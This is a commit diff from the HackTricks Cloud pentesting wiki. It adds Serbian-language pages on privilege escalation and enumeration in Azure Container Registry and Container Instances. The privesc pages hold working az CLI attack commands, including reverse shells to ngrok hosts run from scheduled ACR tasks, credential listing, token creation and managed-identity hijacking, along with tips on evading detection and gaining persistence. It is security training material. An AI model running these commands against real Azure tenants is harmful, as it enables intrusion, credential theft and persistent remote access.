mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
BIN
src/images/registry_roles.png
Normal file
BIN
src/images/registry_roles.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Ove dozvole omogućavaju korisniku da **izvrši komandu** u pokrenutom kontejneru. Ovo se može koristiti za **povećanje privilegija** u kontejneru ako ima neku upravljanu identitet. Naravno, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama koje su pohranjene unutar kontejnera.
|
||||
|
||||
Da biste izvršili `ls` i dobili izlaz, to je jednostavno kao:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
Takođe je moguće **pročitati izlaz** kontejnera sa:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Ili dobijte logove sa:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ove dozvole omogućavaju **priključivanje korisnički upravljane identitete** na grupu kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.
|
||||
|
||||
Da biste priključili korisnički upravljanu identitetu na grupu kontejnera:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ove dozvole omogućavaju **kreiranje ili ažuriranje grupe kontejnera** sa **korisnički upravljanom identitetom** prikačenom na nju. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Pored toga, takođe je moguće ažurirati postojeću grupu kontejnera dodajući, na primer, **`--command-line` argument** sa reverznom ljuskom.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
Ova dozvola omogućava korisniku da prikaže administratorske akreditive ACR-a. Ovo je korisno za **dobijanje punog pristupa** registru.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
U slučaju da admin kredencijali nisu omogućeni, takođe će vam biti potrebna dozvola `Microsoft.ContainerRegistry/registries/write` da ih omogućite sa:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
Ove dozvole omogućavaju korisniku da **napravi novi token** sa lozinkama za pristup registru.
|
||||
|
||||
Da biste koristili `az cli` za generisanje kao u sledećem primeru, takođe će vam biti potrebne dozvole `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
Ove dozvole omogućavaju korisniku da **izgradi i pokrene sliku** u registru. Ovo se može koristiti za **izvršavanje koda** u kontejneru.
|
||||
|
||||
>[!WARNING]
|
||||
> Međutim, slika će biti izvršena u **sandbox okruženju** i **bez pristupa usluzi metapodataka**. To znači da kontejner neće imati pristup **metapodacima instance**, tako da ovo zapravo nije korisno za eskalaciju privilegija.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
Ovo je glavna dozvola koja omogućava kreiranje i ažuriranje zadatka u registru. Ovo se može koristiti za **izvršavanje koda unutar kontejnera sa upravljanom identitetom koji je povezan sa njim** u kontejneru.
|
||||
|
||||
Ovo je primer kako izvršiti reverse shell u kontejneru sa **sistemskim upravljanim** identitetom koji je povezan sa njim:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Drugi način da dobijete RCE iz zadatka bez korišćenja spoljnog repozitorijuma je korišćenje komande `az acr task create` sa `--cmd` flagom. Ovo će vam omogućiti da pokrenete komandu u kontejneru. Na primer, možete pokrenuti reverznu ljusku sa sledećom komandom:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> Imajte na umu da za dodeljivanje identiteta koji upravlja sistemom ne trebate posebne dozvole, iako mora biti omogućeno unapred u registru i dodeljene neke dozvole da bi bilo korisno.
|
||||
|
||||
Da biste dodelili **identitet koji upravlja korisnikom takođe**, potrebna vam je dozvola `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` da biste uradili:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Da **ažurirate** repozitorijum postojeće zadatka, možete uraditi:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
Sa ovom dozvolom je moguće **importovati sliku u azure registry**, čak i bez lokalnog posedovanja slike. Međutim, imajte na umu da **ne možete importovati sliku sa oznakom** koja već postoji u registry.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
Da biste **uklonili ili obrisali određenu oznaku slike** iz registra, možete koristiti sledeću komandu. Međutim, imajte na umu da će vam biti potreban korisnik ili token sa **dovoljnim dozvolama** da to uradite:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Container Instances (ACI) pružaju **serverless, on-demand način** za pokretanje **kontejnera** u Azure oblaku. Možete **implementirati** jedan ili više kontejnera u grupi sa **skalabilnim računarstvom**, **mogućnostima umrežavanja** i fleksibilnošću da se povežete sa **drugim Azure uslugama** (kao što su Storage, Virtual Networks ili Container Registries).
|
||||
|
||||
Budući da su to **ephemeral** radni opterećenja, ne morate upravljati osnovnom VM infrastrukturom — Azure to obavlja umesto vas. Međutim, iz **ofanzivne bezbednosne perspektive**, ključno je razumeti kako **dozvole**, **identiteti**, **konfiguracije mreže** i **logovi** mogu otkriti površine napada i potencijalne pogrešne konfiguracije.
|
||||
|
||||
### Konfiguracije
|
||||
|
||||
- Da biste kreirali kontejner, moguće je koristiti javnu sliku, sliku kontejnera iz Azure Container Registry ili spoljnog repozitorijuma, što može **zahtevati konfiguraciju lozinke** za pristup.
|
||||
- Što se tiče umrežavanja, može imati **javnu IP adresu** ili biti **privatni krajnji tački**.
|
||||
- Takođe je moguće konfigurirati uobičajene docker postavke kao što su:
|
||||
- **Promenljive okruženja**
|
||||
- **Volumeni** (čak i iz Azure Files)
|
||||
- **Portovi**
|
||||
- **Ograničenja CPU i memorije**
|
||||
- **Politika ponovnog pokretanja**
|
||||
- **Pokreni kao privilegovan**
|
||||
- **Komandna linija za pokretanje**
|
||||
- ...
|
||||
|
||||
## Enumeracija
|
||||
|
||||
> [!WARNING]
|
||||
> Kada enumerišete ACI, možete otkriti osetljive konfiguracije kao što su **promenljive okruženja**, **mrežni detalji** ili **upravljani identiteti**. Budite oprezni prilikom logovanja ili prikazivanja istih.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Container Registry (ACR) je sigurna, privatna registracija koja vam omogućava da **čuvate, upravljate i pristupate slikama kontejnera u Azure oblaku**. Besprekorno se integriše sa nekoliko Azure usluga, pružajući automatizovane tokove izgradnje i implementacije na velikoj skali. Sa funkcijama kao što su geo-replikacija i skeniranje ranjivosti, ACR pomaže da se obezbedi sigurnost i usklađenost na nivou preduzeća za aplikacije u kontejnerima.
|
||||
|
||||
### Dozvole
|
||||
|
||||
Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje se mogu dodeliti nad Container Registry:
|
||||
|
||||
- Pristup Resource Manager-u
|
||||
- Kreiranje/brisanje registracije
|
||||
- Push slike
|
||||
- Pull slike
|
||||
- Brisanje podataka o slici
|
||||
- Promena politika
|
||||
- Potpisivanje slika
|
||||
|
||||
Takođe postoje neke **ugrađene uloge** koje se mogu dodeliti, a moguće je i kreirati **prilagođene uloge**.
|
||||
|
||||

|
||||
|
||||
### Autentifikacija
|
||||
|
||||
> [!WARNING]
|
||||
> Veoma je važno da, čak i ako naziv registracije sadrži neka velika slova, uvek koristite **mala slova** za prijavu, push i pull slika.
|
||||
|
||||
Postoje 4 načina za autentifikaciju na ACR:
|
||||
|
||||
- **Sa Entra ID**: Ovo je **podrazumevani** način autentifikacije na ACR. Koristi **`az acr login`** komandu za autentifikaciju na ACR. Ova komanda će **čuvati akreditive** u **`~/.docker/config.json`** datoteci. Štaviše, ako pokrećete ovu komandu iz okruženja bez pristupa docker socket-u, kao u **cloud shell**, moguće je koristiti **`--expose-token`** flag za dobijanje **tokena** za autentifikaciju na ACR. Zatim, da biste se autentifikovali, treba da koristite kao korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Sa administratorskim nalogom**: Administratorski korisnik je podrazumevano onemogućen, ali može biti omogućen i tada će biti moguće pristupiti registru sa **korisničkim imenom** i **lozinkom** administratorskog naloga sa punim dozvolama za registar. Ovo je još uvek podržano jer neke Azure usluge to koriste. Imajte na umu da su za ovog korisnika kreirane **2 lozinke** i obe su važeće. Možete ga omogućiti sa `az acr update -n <acrName> --admin-enabled true`. Imajte na umu da je korisničko ime obično naziv registracije (a ne `admin`).
|
||||
- **Sa tokenom**: Moguće je kreirati **token** sa **specifičnom `scope map`** (dozvole) za pristup registru. Zatim, moguće je koristiti ovo ime tokena kao korisničko ime i neku od generisanih lozinki za autentifikaciju na registar sa `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **Sa Service Principal**: Moguće je kreirati **service principal** i dodeliti ulogu kao **`AcrPull`** za povlačenje slika. Zatim, biće moguće **prijaviti se u registar** koristeći SP appId kao korisničko ime i generisanu tajnu kao lozinku.
|
||||
|
||||
Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa pristupom nad registracijom:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Enkripcija
|
||||
|
||||
Samo **Premium SKU** podržava **enkripciju u mirovanju** za slike i druge artefakte.
|
||||
|
||||
### Mrežno povezivanje
|
||||
|
||||
Samo **Premium SKU** podržava **privatne krajnje tačke**. Ostali samo podržavaju **javne pristupe**. Javna krajnja tačka ima format `<registry-name>.azurecr.io`, a privatna krajnja tačka ima format `<registry-name>.privatelink.azurecr.io`. Iz tog razloga, ime registra mora biti jedinstveno u celoj Azure.
|
||||
|
||||
### Microsoft Defender za Cloud
|
||||
|
||||
Ovo vam omogućava da **skenirate slike** u registru na **ranjivosti**.
|
||||
|
||||
### Soft-delete
|
||||
|
||||
Funkcija **soft-delete** vam omogućava da **opravite obrisani registar** unutar naznačenog broja dana. Ova funkcija je **onemogućena po defaultu**.
|
||||
|
||||
### Webhook-ovi
|
||||
|
||||
Moguće je **kreirati webhook-ove** unutar registara. U ovom webhook-u potrebno je navesti URL gde će **zahtev biti poslat svaki put kada se izvrši push ili delete akcija**. Štaviše, Webhook-ovi mogu označiti opseg kako bi označili repozitorijume (slike) koji će biti pogođeni. Na primer, 'foo:*' znači događaje pod repozitorijumom 'foo'.
|
||||
|
||||
Sa stanovišta napadača, zanimljivo je proveriti ovo **pre nego što se izvrši bilo kakva akcija** u registru, i privremeno ga ukloniti ako je potrebno, kako bi se izbeglo otkrivanje.
|
||||
|
||||
### Povezani registri
|
||||
|
||||
Ovo u suštini omogućava **ogledanje slika** iz jednog registra u drugi, obično smešten u lokalnoj mreži.
|
||||
|
||||
Ima 2 moda: **ReadOnly** i **ReadWrite**. U prvom, slike se samo **preuzimaju** iz izvornog registra, a u drugom, slike se takođe mogu **postaviti** u izvorni registar.
|
||||
|
||||
Kako bi klijenti pristupili registru iz Azure, **token** se generiše kada se koristi povezani registar.
|
||||
|
||||
### Izvršenja i zadaci
|
||||
|
||||
Izvršenja i zadaci omogućavaju izvršavanje akcija vezanih za kontejnere u Azure koje ste obično morali raditi lokalno ili u CI/CD pipeline-u. Na primer, možete **izgraditi, postaviti i pokrenuti slike u registru**.
|
||||
|
||||
Najlakši način za izgradnju i pokretanje kontejnera je korišćenje redovnog izvršenja:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Međutim, to će pokrenuti izvršenja koja nisu previše zanimljiva iz perspektive napadača jer nemaju nijednu upravljanu identitet.
|
||||
|
||||
Međutim, **tasks** mogu imati **sistemsku i korisničku upravljanu identitet** pridruženu njima. Ovi zadaci su korisni za **escalate privileges** u kontejneru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti zadatke za eskalaciju privilegija.
|
||||
|
||||
### Cache
|
||||
|
||||
Funkcija keširanja omogućava **download images from an external repository** i čuvanje novih verzija u registru. Zahteva da se konfigurišu neki **credentials** odabirom kredencijala iz Azure Vault-a.
|
||||
|
||||
Ovo je veoma zanimljivo iz perspektive napadača jer omogućava **pivot to an external platform** ako napadač ima dovoljno dozvola za pristup kredencijalima, **download images from an external repository** i konfigurisanje keša može se takođe koristiti kao **persistence mechanism**.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> Veoma je važno da, čak i ako naziv registra sadrži neka velika slova, treba koristiti samo mala slova u URL-u za pristup.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Eskalacija privilegija i post eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user